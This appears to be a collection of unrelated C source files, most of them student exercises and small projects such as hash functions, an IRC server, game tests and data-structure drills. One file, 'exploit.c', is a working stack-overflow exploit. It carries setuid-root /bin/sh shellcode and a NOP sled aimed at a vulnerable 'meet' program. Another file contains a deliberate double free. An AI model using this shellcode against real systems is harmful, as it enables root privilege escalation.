default) struct dirent *dir_to_list = readdir(current_dir); //next file in directory, will tell us if dir already exists? while (1) { static struct option full_arg[] = //building a struct to house all of the written out command args { {"parents", 0, 0, 'p'}, {"verbose", 0, 0, 'v'}, {NULL, 0, NULL, 0} }; sarg = getopt_long(argc, argv, "pv", full_arg, &command_index); if (sarg == -1) //if there are no/no more arguments break; switch (sarg) { case 0: break; case 'p': //-p --parent command_flag[0] = 1; puts ("option -p\n"); break; case 'v': //-v --verbose command_flag[1] = 1; puts ("option -v\n"); break; } } /*Tell me if we used either argument*/ printf("%d\n",command_flag[0]); printf("%d\n",command_flag[1]); if(command_flag[0] == 0 && command_flag[1] == 0) { orphan(argc, argv); } if(command_flag[0] == 1 && command_flag[1] == 0) { parent(argc, argv, dirname); } if (command_flag[0] == 0 && command_flag[1] == 1) { loud(argc, argv); } return 0; }
C
#include<stdio.h> char arr[100]; int j; int comb(int n); void myprint(char arr[]); int main() { int n,i,p; scanf("%d",&n); p=0; comb(n); return 0; } int comb(int n) {int i,x,v; int t; if(n==0) return 0; else if(n==1) { arr[j++] ='('; arr[j++] =')'; if(j==6) {myprint(arr); return 1 ;} else return 0; } else { for(i=0;i<n;i++) { t=j; arr[j++] ='('; v=comb(i); arr[j++] =')'; if(j==6) myprint(arr); x=comb((n-i-1)); if(x==1) j=t; else { return i; } } return 1; } } void myprint(char arr[]) { int i ; printf("\n"); for(i=0;i<=j;i++) printf("%c ",arr[i]); }
C
#include <stdio.h> #include <stdlib.h> #include "table.h" #include "compiled_query.h" extern FILE * getDataFile(char * tableName, char * mode); int delete(CompiledQuery * compiledQuery, Table * table, FILE * dataFile, int filePointer) { rewind(dataFile); fseek(dataFile, filePointer, SEEK_CUR); unsigned char buffer[table->info.rowSize]; int tableSize = table->info.rowSize * table->info.rowCount; while (ftell(dataFile) <= tableSize - (table->info.rowSize * 2)) { printf("%d = %d \n", ftell(dataFile), tableSize); fseek(dataFile, filePointer + table->info.rowSize, SEEK_SET); printf("%d \n", ftell(dataFile)); fread(buffer, 1, sizeof buffer, dataFile); printf("%d \n", ftell(dataFile)); fseek(dataFile, filePointer -(table->info.rowSize * 2), SEEK_SET); printf("%d \n", ftell(dataFile)); fwrite(buffer, 1, sizeof buffer, dataFile); printf("%d \n", ftell(dataFile)); fseek(dataFile, filePointer + table->info.rowSize, SEEK_SET); printf("%d \n", ftell(dataFile)); } ftruncate(fileno(dataFile), tableSize - table->info.rowSize); table->info.rowCount -= 1; } int executeDelete(CompiledQuery * compiledQuery, Table * table) { int i = 0; int pointer = 0; int status = 0; FILE * dataFile = getDataFile(compiledQuery->target, "rb"); for (i = 0; i < compiledQuery->columnCount; i++) { status = delete(compiledQuery, table, dataFile, pointer); pointer += table->info.rowSize; } fclose(dataFile); return status; }
C
//exploit.c #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; //Small function to retrieve the current esp value (only works locally) unsigned long get_sp(void){ __asm__("movl %esp, %eax"); } int main(int argc, char *argv[1]) { //main function int i, offset = 0; //used to count/subtract later unsigned int esp, ret, *addr_ptr; //used to save addresses char *buffer, *ptr; //two strings: buffer, ptr int size = 500; //default buffer size esp = get_sp(); //get local esp value if(argc > 1) size = atoi(argv[1]); //if 1 argument, store to size if(argc > 2) offset = atoi(argv[2]); //if 2 arguments, store offset if(argc > 3) esp = strtoul(argv[3],NULL,0); //used for remote exploits ret = esp - offset; //calc default value of return //print directions for use fprintf(stderr,"Usage: %s<buff_size> <offset> <esp:0xfff...>\n", argv[0]); //print feedback of operation fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret); buffer = (char *)malloc(size); //allocate buffer on heap ptr = buffer; //temp pointer, set to location of buffer addr_ptr = (unsigned int *) ptr; //temp addr_ptr, set to location of ptr //Fill entire buffer with return addresses, ensures proper alignment for(i=0; i < size; i+=4){ // notice increment of 4 bytes for addr *(addr_ptr++) = ret; //use addr_ptr to write into buffer } //Fill 1st half of exploit buffer with NOPs for(i=0; i < size/2; i++){ //notice, we only write up to half of size buffer[i] = '\x90'; //place NOPs in the first half of buffer } //Now, place shellcode ptr = buffer + size/2; //set the temp ptr at half of buffer size for(i=0; i < strlen(shellcode); i++){ //write 1/2 of buffer til end of sc *(ptr++) = shellcode[i]; //write the shellcode into the buffer } //Terminate the string buffer[size-1]=0; //This is so our buffer ends with a x\0 //Now, call the vulnerable program with buffer as 2nd argument. execl("./meet", "meet", "Mr.",buffer,0);//the list of args is ended w/0 printf("%s\n",buffer); //used for remote exploits //Free up the heap free(buffer); //play nicely return 0; //exit gracefully }
C
#include <stdio.h> #include <cs50.h> #include <math.h> int main(){ float dolloars; //get dolloars from user input,if a good input then go out of loop while(1){ dolloars=get_float("Change owed: "); if (dolloars>=0){ break; } } //chage dolloars to cents int cents=round(dolloars*100); int conters=0; while (cents>0){ if(cents>=25){ conters++; cents-=25; } else if(cents>=10){ conters++; cents-=10; } else if(cents>=5){ conters++; cents-=5; } else if(cents>=1){ conters++; cents-=1; } } printf("%i\n",conters); }
C
#include <stdio.h> #include <stdlib.h> int main() { int* data; int x = 33; data = malloc(5 * sizeof(int)); if(!data) { return -1; } *data = x; printf("%i\n", *data); free(data); #ifndef NO_BUG free(data); #endif return 1; }
C
#include <stdio.h> void change(int n){ if (n < 10){ printf("%c", n +'0'); }else if ( n >= 10 && n <= 15) { printf("%c", n + 'A' - 10); }else { change(n / 16); if ((n % 16) < 10 ){ printf("%c",(n % 16) + '0'); }else if ( (n % 16) >= 10 && (n % 16) <= 15){ printf("%c", (n % 16) + 'A' - 10); } } } int main(){ int n, a, list[20]; scanf("%d", &n); for ( int i = 0 ; i < n ; i++) { scanf("%d", &list[i]); } for (int i = 0; i < n ; i++){ if ( 0 >= list[i] || list[i] > 1000000) { printf("%d not in a scope\n", list[i]); continue; } printf("%d = ",list[i]); change(list[i]); printf("\n"); } }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <conio.h> #include "auto.h" #include "marca.h" #include "color.h" #include "servicio.h" #include "trabajo.h" #include "validaciones.h" #include "cliente.h" #include "informes.h" #define VACIO 0 #define OCUPADO 1 #define TAM 24 #define MAR 5 #define COL 5 #define SERV 5 #define TRA 38 #define CLI 6 int main() { char seguir = 's'; //int flagAuto = 0; //int flagTrabajo = 0; //int flagNoTrabajo = 0; eAuto autos[TAM]; eMarca marca[MAR]; eColor color[COL]; eServicio servicio[SERV]; eTrabajo trabajo[TRA]; eCliente cliente[CLI]; //inicializarAutos(autos,TAM); //inicializarTrabajo(trabajo,TRA); harcodeAutos(autos,TAM); harcodeColores(color,COL); harcodeMarcas(marca,MAR); harcodeServicios(servicio,SERV); harcodeTrabajos(trabajo,TRA); harcodeoClientes(cliente,CLI); do { switch(menu()) { case 1: altaAutos(autos,TAM,marca,MAR,color,COL,cliente,CLI); system("pause"); break; case 2: ModificacionAuto(autos,TAM,marca,MAR,color,COL,cliente,CLI); system("pause"); break; case 3: bajaAuto(autos,TAM,marca,MAR,color,COL,cliente,CLI); system("pause"); break; case 4: listarAutos(autos,TAM,marca,MAR,color,COL,cliente,CLI); system("pause"); break; case 5: system("cls"); printf(" LISTA MARCAS\n"); listarMarcas(marca,MAR); system("pause"); break; case 6: system("cls"); printf(" LISTA COLORES\n"); listarColores(color,COL); system("pause"); break; case 7: system("cls"); printf(" LISTA SERVICIOS\n"); listarServicios(servicio,SERV); system("pause"); break; case 8: altaTrabajo(trabajo,TRA,autos,TAM,marca,MAR,color,COL,servicio,SERV,cliente,CLI); system("pause"); break; case 9: mostrarTrabajos(trabajo,TRA,autos,TAM,marca,MAR,color,COL,servicio,SERV); system("pause"); break; case 10: menuInformes(trabajo,TRA,autos,TAM,marca,MAR,color,COL,servicio,SERV,cliente,CLI); system("pause"); break; case 11: system("cls"); printf("Hasta luego"); seguir = 'n'; break; default: printf("\n Opcion invalida\n\n"); system("pause"); break; } } while(seguir == 's'); return 0; }
C
// this was written by me Glen Millard - no, I didn't steal it. I borrowed it! You can have it back whenever you want // seriously this is my code for Unit 2 - hopefully this is what you are looking for. #include <stdio.h> #include <unistd.h> #include <assert.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> //including all of the libraries that I may need - probably overkill - I don't need all of them but, meh... int main(int argc, char *argv[]) //declaring main function the new-skool way. { int x = 10; //setting a variable ahead of time if (fork() == 0) { printf("I'm the childish one. %d\n", getpid()); // if there is a process running start up another printf("The variable is %d\n", x); // show the variable - it's the same with both PIDs } else { // int x = 15; printf("I'm the old one. %d\n", getpid()); printf("The variable is %d\n", x); } }
C
#include "alg.h" #define SM3_BLOCK_SIZE 64 #define SM3_ROTL(x,n) ((x<<n)|(x>>(32-n))) #define FF1(a,b,c) ((a)^(b)^(c)) #define FF2(a,b,c) (((a)&(b))|((a)&(c))|((b)&(c))) #define GG1(a,b,c) ((a)^(b)^(c)) #define GG2(a,b,c) (((a)&(b))|((~a)&(c))) #define P1(a) (a^SM3_ROTL(a,9)^SM3_ROTL(a,17)) #define P2(a) (a^SM3_ROTL(a,15)^SM3_ROTL(a,23)) #define SM3_ENDIAN32(a) (((a&0xff)<<24)|(((a>>8)&0xff)<<16)|(((a>>16)&0xff)<<8)|((a>>24)&0xff)) int sm3CF(uint32_t *in, uint32_t *hash) { uint32_t W[68], W1[64]; uint32_t a = hash[0], b = hash[1], c = hash[2], d = hash[3]; uint32_t e = hash[4], f = hash[5], g = hash[6], h = hash[7]; uint32_t ss1, ss2, tt1, tt2; uint32_t T[64]; for(int i = 0; i < 16; i++) { T[i] = 0x79cc4519; } for(int i = 16; i < 64; i++) { T[i] = 0x7a879d8a; } for(int i = 0; i < 16; i++) { W[i] = SM3_ENDIAN32(in[i]);; } for(int i = 16; i < 68; i++) { W[i] = P2((W[i-16] ^ W[i-9] ^ SM3_ROTL(W[i-3], (uint32_t)15))) ^ SM3_ROTL(W[i-13], (uint32_t)7) ^ W[i-6]; } for(int i = 0; i < 64; i++) { W1[i] = W[i] ^ W[i + 4]; } for(int i = 0; i < 64; i++) { ss1 = SM3_ROTL((SM3_ROTL(a, (uint32_t)12) + e + SM3_ROTL(T[i], (uint32_t)i)), (uint32_t)7); ss2 = ss1 ^ SM3_ROTL(a, (uint32_t)12); if(i >= 0 && i <= 15) { tt1 = FF1(a, b, c) + d + ss2 + W1[i]; tt2 = GG1(e, f, g) + h + ss1 + W[i]; } else { tt1 = FF2(a, b, c) + d + ss2 + W1[i]; tt2 = GG2(e, f, g) + h + ss1 + W[i]; } d = c; c = SM3_ROTL(b, (uint32_t)9); b = a; a = tt1; h = g; g = SM3_ROTL(f, (uint32_t)19); f = e; e = P1(tt2); } hash[0] = a ^ hash[0]; hash[1] = b ^ hash[1]; hash[2] = c ^ hash[2]; hash[3] = d ^ hash[3]; hash[4] = e ^ hash[4]; hash[5] = f ^ hash[5]; hash[6] = g ^ hash[6]; hash[7] = h ^ hash[7]; return 1; } int sm3(uint8_t *content, uint32_t content_len, uint8_t *hash) { uint32_t hash_base[] = {0x7380166f, 0x4914b2b9, 0x172442d7, 0xda8a0600, 0xa96f30bc, 0x163138aa, 0xe38dee4d, 0xb0fb0e4e}; uint32_t buf[SM3_BLOCK_SIZE/4]; uint32_t count = 0, offset = 0; while(content_len >= SM3_BLOCK_SIZE) { memcpy(buf, &content[offset], SM3_BLOCK_SIZE); content_len -= SM3_BLOCK_SIZE; offset += SM3_BLOCK_SIZE; count++; sm3CF(buf, hash_base); } uint32_t count_len = (content_len * 8) + count * (SM3_BLOCK_SIZE * 8); memcpy(buf, &content[offset], content_len); memset(((uint8_t*)buf) + content_len, 0, SM3_BLOCK_SIZE - content_len); ((uint8_t*)buf)[content_len] = 0x80; buf[SM3_BLOCK_SIZE/4-1] = SM3_ENDIAN32(count_len); sm3CF(buf, hash_base); for(int i = 0; i < 8; i++) { hash[i*4] = (hash_base[i] >> 24)&0xff; hash[i*4+1] = (hash_base[i] >> 16)&0xff; hash[i*4+2] = (hash_base[i] >> 8)&0xff; hash[i*4+3] = hash_base[i] & 0xff; } return 1; }
C
/* ** additonal_channel_functions.c for irc in /home/giubil ** ** Made by giubil ** Login <[email protected]> ** ** Started on Sun Apr 12 22:55:20 2015 giubil ** Last update Sun Apr 12 22:56:20 2015 giubil */ #include <string.h> #include "server.h" int join_channel(t_client_info *client, char *cmd, t_channel **channels) { cmd = strndup(cmd, ((cmd[strlen(cmd) - 1] == '\r') ? strlen(cmd) - 2 : strlen(cmd) - 1)); if (cmd[0] != '#') return (create_error(client, "403 Error no such channel\r\n")); if (channel_does_not_exist(cmd, *channels)) { if (create_channel(cmd, client, channels) < 0) return (-1); } else add_to_channel(cmd, client, channels); client->channel_name = cmd; return (0); } int send_messages(t_client_info *client, t_channel *channels, char *message) { t_client_info *buff; if (client->channel_name == NULL) return (create_error(client, "Error you need to be in a channel")); while (strcmp(channels->name, client->channel_name)) channels = channels->next; buff = channels->channel_next; while (buff) { if (write(buff->sockfd, message, strlen(message)) < 0) return (-1); buff = buff->channel_next; } return (0); } int part_channel(t_client_info *client, t_channel** channels) { if (client->channel_name != NULL) delete_client_from_channel(client, channels); client->channel_name = NULL; client->channel_next = NULL; return (0); } int list_channels(t_channel *list, char *cmd, t_client_info *client) { cmd = strndup(cmd + 5, ((cmd[strlen(cmd) - 1] == '\r') ? strlen(cmd) - 2 : strlen(cmd) - 1)); if (strcmp("", cmd) != 0) { while (list) { if (strstr(cmd, list->name) != NULL && list->channel_next != NULL) if (write(client->sockfd, list->name, strlen(list->name)) < 0 || write(client->sockfd, " ", 1) < 0) return (-1); list = list->next; } } else while (list) { if (list->channel_next != NULL) if (write(client->sockfd, list->name, strlen(list->name)) < 0 || write(client->sockfd, " ", 1) < 0) return (-1); list = list->next; } write(client->sockfd, "\r\n", 2); return (0); } int list_users(t_client_info *client, t_channel *list) { t_client_info *buff; if (client->channel_name == NULL) return (create_error(client, "Error you need to be in a channel")); while (strcmp(list->name, client->channel_name)) list = list->next; buff = list->channel_next; while (buff) { if (write(client->sockfd, buff->nick, strlen(buff->nick)) < 0 || write(client->sockfd, " ", 1) < 0) return (-1); buff = buff->channel_next; } write(client->sockfd, "\r\n", 2); return (0); }
C
/** * @file utilities.h * @author André Botelho ([email protected]) * @brief Algumas utilidades comuns. * @version 1 * @date 2020-01-04 * * @copyright Copyright (c) 2020 */ #ifndef UTILITIES_H #define UTILITIES_H #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char* strdup(const char* const s); int pred_printItem(char** const item, int64_t* const userdata); int save_str(FILE* const f, const char* const data); int load_str(FILE* const f, char** const data); /** * @def freeN(X) * Liberta e anula X. * @def MACRO_QUOTE(X) * Adiciona o simbolo (") antes e depois do indenificador X. * @def __MACRO_QUOTE_INTERNAL(X) * Auxiliar para avaliar X. * @def protectVarFcnCall(VAR, FCN, ERRMSG) * Realiza VAR = FCN(), e se var for nullo imprime o erro ERRMSG e * termina o programa. * @def protectFcnCall(FCN, ERRMSG) * Se FCN() retornar falso, imprime o erro ERRMSG e termina o programa. */ #define freeN(X) \ if (X) { \ free(X); \ X = NULL; \ } #define protectStr(X) ((X) ? (X) : ("N/A")) #define MACRO_QUOTE(X) __MACRO_QUOTE_INTERNAL(X) #define __MACRO_QUOTE_INTERNAL(X) #X #define protectVarFcnCall(VAR, FCN, ERRMSG) \ VAR = FCN; \ if (!VAR) { \ printf("File: [" __FILE__ "] Funcion: [%s] Line: [" MACRO_QUOTE(__LINE__) "]\n" \ "ERRO: " ERRMSG "\n", \ __func__); \ exit(EXIT_FAILURE); \ } #define protectFcnCall(FCN, ERRMSG) \ if (!FCN) { \ printf("File: [" __FILE__ "] Funcion: [%s] Line: [" MACRO_QUOTE(__LINE__) "]\n" \ "ERRO: " ERRMSG "\n", \ __func__); \ exit(EXIT_FAILURE); \ } #endif
C
/* Chapter 22 Exercise 4 */ #include <stdio.h> /* Show how each of the following numbers will look if displayed by printf * with %#012.5g as the conversion specifier * * a) 83.7361 * b) 29748.6670 * c) 1054932234.0 * d) 0.0000235218 */ int main(void) { printf("\n%s", "Show how each of the following numbers will look if \ \ndisplayed by printf with %#012.5g as the conversion specifier\n"); printf("\na) 83.7361: %#012.5g", 83.7361); printf("\nb) 29748.6670: %#012.5g", 29748.6670); printf("\nc) 1054932234.0: %#012.5g", 1054932234.0); printf("\nd) 0.0000235218: %#012.5g\n", 0.0000235218); return 0; }
C
/* Card being tested: adventurer * Bilal Saleem * Intro to SE II - Assignment 4 - 2/11/17 */ #include "dominion.h" #include "dominion_helpers.h" #include "rngs.h" #include <stdio.h> #include <stdlib.h> #include <string.h> void setDeck(struct gameState * G, int * deck, int numCards, int playerNum); void setHand(struct gameState * G, int * hand, int numCards, int playerNum); /* compareArrs two arrays for equality of their values (order matters); returns 1 if not equal, 0 if equal */ int compareArr(int * one, int * two, int num); int main(int argc, char ** argv){ // get user to provide a seed value for the srand function /*printf("Enter a random number to serve as a seed: "); int randomSeed; scanf("%d", &randomSeed);*/ int randomSeed = atoi(argv[1]); srand(randomSeed); /*********** RANDOMIZATION TEST 1 ************* * Initialize the game with a random number of * players between 2 and 4. See if it passes * unit tests. **********************************************/ printf("TEST ONE\n"); struct gameState * G = newGame(); // will be used in random testing struct gameState * GCopy = newGame(); // used for comparisons and resetting struct G // generate a random number of players for the game within the range of 2-4 players // use formula numPlayers = rand() % (maxPlayers + 1 - minPlayers) + minPlayers int numPlayers = rand() % (4 + 1 - 2) + 2; int * kCards; // holds the set of kingdom cards to be used in the game kCards = kingdomCards(smithy, adventurer, village, great_hall, council_room, feast, gardens, mine, remodel, outpost); initializeGame(numPlayers, kCards, randomSeed, G); // re-initialize deck so known what the expected cards to be drawn are // with this deck that cards that will be drawn are (in this order): // treasure_map, silver, sea_hag, and silver. So two silver cards should // be added to the hand and treasure_map and sea_hag should be added to the // discard pile int deckInitializer[10] = { // bottom of deck copper, copper, copper, silver, smithy, //fifth from bottom village, silver, sea_hag, silver, treasure_map // top of deck }; int i; for(i = 0; i < numPlayers; ++i) { setDeck(G, deckInitializer, 10, i); } // re-initialize hand so hand is known before cards are drawn. // after adventurer is played, hand should be: copper, copper, // copper, copper, silver, and silver. int handInitializer[5] = { copper, copper, copper, copper, adventurer }; for(i = 0; i < numPlayers; ++i){ setHand(G, handInitializer, 5, i); } // make sure player 1 goes first G->whoseTurn = 0; // make copy of the gameState for comparison and resetting purposes memcpy(GCopy, G, sizeof(struct gameState)); // play adventurer card playCard(4, 0, 0, 0, G); // correct hand at this point should be: copper, copper, copper, copper, // silver, and silver. determine if this is the case. int correctHand[6] = { copper, copper, copper, copper, silver, silver }; if(compareArr(G->hand[0], correctHand, 6)){ printf("Test Failed: Hand of player 1 not correct.\n"); } // correct deck at this point should be: copper, copper, copper, silver, // smithy and village. determine if this is the deck found int correctDeck[6] = { copper, copper, copper, silver, smithy, village }; if(compareArr(G->deck[0], correctDeck, 6)){ printf("Test Failed: Deck of player 1 not correct. \n"); } // reset game memcpy(G, GCopy, sizeof(struct gameState)); /************* RANDOMIZATION TEST 2 ****************** * This test will randomize which player plays the * adventurer card. *****************************************************/ printf("TEST TWO\n"); // randomly select whose turn it will be G->whoseTurn = rand() % numPlayers; // play adventurer card playCard(4, 0, 0, 0, G); // correct hand at this point should be: copper, copper, copper, copper, // silver, and silver. determine if this is the case. if(compareArr(G->hand[G->whoseTurn], correctHand, 6)){ printf("Test Failed: Hand of player %d not correct.\n", G->whoseTurn + 1); } // correct deck at this point should be: copper, copper, copper, silver, // smithy and village. determine if this is the deck found if(compareArr(G->deck[G->whoseTurn], correctDeck, 6)){ printf("Test Failed: Deck of player %d not correct. \n", G->whoseTurn + 1); } return 0; } void setDeck(struct gameState * G, int * deck, int numCards, int playerNum) { int i; // set deck to new deck and update number of cards in deck count for(i = 0; i < numCards; ++i){ G->deck[playerNum][i] = deck[i]; } G->deckCount[playerNum] = numCards; } void setHand(struct gameState * G, int * hand, int numCards, int playerNum){ int i; // set hand and update number of cards in hand for(i = 0; i < numCards; ++i){ G->hand[playerNum][i] = hand[i]; } G->handCount[playerNum] = numCards; } int compareArr(int * one, int * two, int num) { int i; for(i = 0; i < num; ++i){ if(one[i] != two[i]){ return 1; } } return 0; }
C
/* ** EPITECH PROJECT, 2020 ** rpg_repo ** File description: ** get_circle_distance.c */ #include "../include/my_rpg.h" float get_distance(int cx, int cy, int x, int y) { float xdist = x - cx; float ydist = y - cy; float res = sqrtf(pow(xdist, 2) + pow(ydist, 2)); return (res); }
C
#include <alsa/asoundlib.h> #include <stdbool.h> #include <string.h> #include <strings.h> #include "alsa_utils.h" #include "wutil.h" // TODO: rename to util.h /* Alsa api documentation: * http://www.alsa-project.org/alsa-doc/alsa-lib/group___mixer.html */ /* Get alsa handle */ snd_mixer_t* get_handle() { snd_mixer_t* handle = NULL; int ret_val = snd_mixer_open(&handle, 0); assert(ret_val >= 0); /* Bind mixer handle to the default device */ snd_mixer_attach(handle, "default"); snd_mixer_selem_register(handle, NULL, NULL); snd_mixer_load(handle); return handle; } /* Get mixer elem with given name from the handle. * Returns NULL if element could not be got. */ snd_mixer_elem_t* get_elem(snd_mixer_t* handle, char const* name) { assert(name); snd_mixer_elem_t* elem = NULL; /* get snd_mixer_elem_t pointer, corresponding DEFAULT.volume_cntrl_mixer_element_name */ snd_mixer_elem_t* var = snd_mixer_first_elem(handle); while (var != NULL) { if (strcasecmp(name, snd_mixer_selem_get_name(var)) == 0) { elem = var; break; } var = snd_mixer_elem_next(var); } if (elem == NULL) { PD_M("Warning: Could not get mixer element named: %s\n", name); } return elem; } bool is_mixer_elem_playback_switch_on(snd_mixer_elem_t* elem) { /* XXX: Could assert that snd_mixer_selem_has_playback_switch(elem) */ assert(elem); int temp_switch = -1; snd_mixer_selem_get_playback_switch(elem, SND_MIXER_SCHN_FRONT_LEFT, &temp_switch); return temp_switch; } /* Print info about existing mixer elements */ void list_mixer_elements(snd_mixer_t* handle) { snd_mixer_elem_t* elem = snd_mixer_first_elem(handle); for (int i = 1; elem != NULL; ++i) { printf("%i. Element name: %s\n", i, snd_mixer_selem_get_name(elem)); if (snd_mixer_selem_has_playback_switch(elem)) printf(" Element has playback switch.\n"); elem = snd_mixer_elem_next(elem); } }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "url_coder.h" #ifdef BENCHMARK_USE_RDTSC static unsigned long long rdtsc(void) { unsigned long long x; __asm__("rdtsc" : "=A" (x)); return x; } #define BENCHMARK 1 #elif defined(BENCHMARK_USE_MACH) #include <mach/mach_time.h> #define rdtsc() mach_absolute_time() #define BENCHMARK 1 #endif int main(int argc, char **argv) { char buf[512*1024], cbuf[512*1024], rbuf[512*1024]; int buflen, cbuflen, rbuflen; { size_t i; printf("compressor overrun test.. "); fflush(stdout); for (i = 0; i < sizeof(buf) - 1; i++) { buf[i] = (i % 255) + 1; } buf[sizeof(buf) - 1] = '\0'; if (url_compress(buf, sizeof(buf) - 1, cbuf) != -1) { printf("failed\n"); } else { printf("ok\n"); } } { size_t i; printf("decompressor overrun test.. "); fflush(stdout); for (i = 0; i < sizeof(cbuf); i++) { cbuf[i] = 255; } if (url_decompress(cbuf, sizeof(cbuf), rbuf) != -1) { printf("failed, got: %s\n", rbuf); } else { printf("ok\n"); } } { size_t orig_size = 0, compressed_size = 0; int failed = 0; #ifdef BENCHMARK unsigned long long start, encoder_elapsed = 0, decoder_elapsed = 0; #endif FILE *fp; printf("compression test.. "); fflush(stdout); if (argc != 2 || (fp = fopen(argv[1], "rt")) == NULL) { fprintf(stderr, "Usage: %s <url-file>\n", argv[0]); exit(1); } while (fgets(buf, sizeof(buf), fp) != NULL) { /* read from file */ buflen = strlen(buf); if (buflen == 0) { continue; } if (buf[buflen - 1] == '\n') { buf[--buflen] = '\0'; } /* compress */ #ifdef BENCHMARK start = rdtsc(); #endif if ((cbuflen = url_compress(buf, buflen, cbuf)) == -1) { printf("buffer full (soft error) for: %s\n", buf); continue; } #ifdef BENCHMARK encoder_elapsed += rdtsc() - start; #endif /* decompress */ #ifdef BENCHMARK start = rdtsc(); #endif if ((rbuflen = url_decompress(cbuf, cbuflen, rbuf)) == -1) { printf("failed to decompress: %s\n", buf); failed = 1; break; } rbuf[rbuflen] = '\0'; #ifdef BENCHMARK decoder_elapsed += rdtsc() - start; #endif /* compare */ if (buflen != rbuflen || strcasecmp(buf, rbuf) != 0) { printf("result mismatch:\n %s\n %s\n", buf, rbuf); failed = 1; break; } orig_size += buflen; compressed_size += cbuflen; } fclose(fp); printf(failed ? "\n" : "ok\n"); printf("\ncompression ratio: %.1f%% (%lu / %lu)\n", 100.0 * compressed_size / orig_size + 0.05, compressed_size, orig_size); #ifdef BENCHMARK printf("encoder: %ld Mticks\n", (long)(encoder_elapsed / 1000000)); printf("decoder: %ld Mticks\n", (long)(decoder_elapsed / 1000000)); #endif } return 0; }
C
/* ============================================================================ Name : 184.c Author : Version : Copyright : Your copyright notice Description : Hello World in C, Ansi-style ============================================================================ */ #include <stdio.h> #include <stdlib.h> void printBinary(int n) { if(n==0) { return; } else { printBinary(n/2); printf("%i", n%2); } } int main() { printBinary(31); return 0; }
C
#include <stdio.h> #include <stdlib.h> // This contains the DECLARATION of the string functions we're using below #include <string.h> int main (int argc, char ** args) { const char str[] = "this is NULL terminated!"; // We're telling printf that we will give it a %u (= unsigned int) // but we're giving it the output of strlen(), which is size_t. // So we cast to avoid a warning. printf("Length of str = %u\n", (unsigned int) strlen(str)); const char str2[] = "We can manually add a NULL\0 but it will end the string"; puts(str2); printf("String length of str2 = %i, SIZE of str2 = %i\n", (int) strlen(str2), (int) sizeof(str2)); const char str3[] = "1234"; // TODO: What is the size of str3?? return EXIT_SUCCESS; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* new_primitives.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: gpinchon <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2016/11/11 16:55:08 by gpinchon #+# #+# */ /* Updated: 2017/02/10 14:08:15 by mbarbari ### ########.fr */ /* */ /* ************************************************************************** */ #include <vml.h> PRIMITIVE new_sphere(float radius) { PRIMITIVE s; s = new_primitive(sphere); s.data.sphere.radius = radius; s.data.sphere.radius2 = radius * radius; return (s); } PRIMITIVE new_cone(float radius, float size) { PRIMITIVE c; c = new_primitive(cone); c.data.cone.radius = radius; c.data.cone.radius2 = radius * radius; c.data.cone.size = size; return (c); } PRIMITIVE new_triangle(VEC3 a, VEC3 b, VEC3 c) { PRIMITIVE t; t = new_primitive(triangle); t.data.triangle.point[0] = a; t.data.triangle.point[1] = b; t.data.triangle.point[2] = c; return (t); }
C
#include <stdio.h> #include <stdlib.h> #define Status int #define OVERFLOW -2 #define OK 1 #define ERROR 0 // ------------- ҵҪ ------------- // // 1.Cʵ6*.cļд // 2.ҵɺ뷢[email protected],⣺04-ݽṹ-queue-X--ѧ // 3.ֹʱ2019-10-27 // 4.ཻллϣ //------------- ѭСеĶ̬˳洢ṹ ------------- #define MAXQSIZE 6 //г #define QElemType char typedef struct { QElemType *base; //ʼĶ̬洢ռ int front; //ͷָ룬вգָͷԪ int rear; //вգָԪصһԪ }SqQueue; //------------- ѭл --------------- // ʼ Status InitQueue(SqQueue *Q) //һնQ { return OK; } // Ԫظ int QueueLength(SqQueue Q) //QԪظеij { return ; } // Status EnQueue(SqQueue *Q, QElemType e) //ԪeΪQµĶβԪ { return OK; } // Status DeQueue(SqQueue *Q,QElemType *e) //вգɾQĶͷԪأeֵOK //򷵻ERROR { return OK; } // ӡѭ void PrintSqQueue(SqQueue Q) { } Status DestroyQueue(SqQueue *Q){ return OK; } int main(void) { SqQueue Q; int i; QElemType e = 'A'; InitQueue(&Q); for (i = 0; i < 7; i++){ if(!EnQueue(&Q, e++)) printf(", \n"); } PrintSqQueue(Q); DeQueue(&Q, &e); PrintSqQueue(Q); e = 'w'; EnQueue(&Q, e ); PrintSqQueue(Q); DeQueue(&Q, &e); DeQueue(&Q, &e); PrintSqQueue(Q); e = 'x'; EnQueue(&Q, e++ ); EnQueue(&Q, e++ ); EnQueue(&Q, e++ ); PrintSqQueue(Q); return 0; }
C
#include<stdio.h> int main() { int iArray[5],index,temp; printf("please enter an Array:\n"); for(index=0;index<5;index++) { scanf("%d",&iArray[index]); } printf("Original Array is:\n"); for(index=0;index<5;index++) { printf("%d ",iArray[index]); } printf("\n"); for(index=0;index<2;index++) { temp=iArray[index]; iArray[index]=iArray[4-index]; iArray[4-index]=temp; } printf("Now Array is:\n"); for(index=0;index<5;index++) { printf("%d ",iArray[index]); } printf("\n"); return 0; }
C
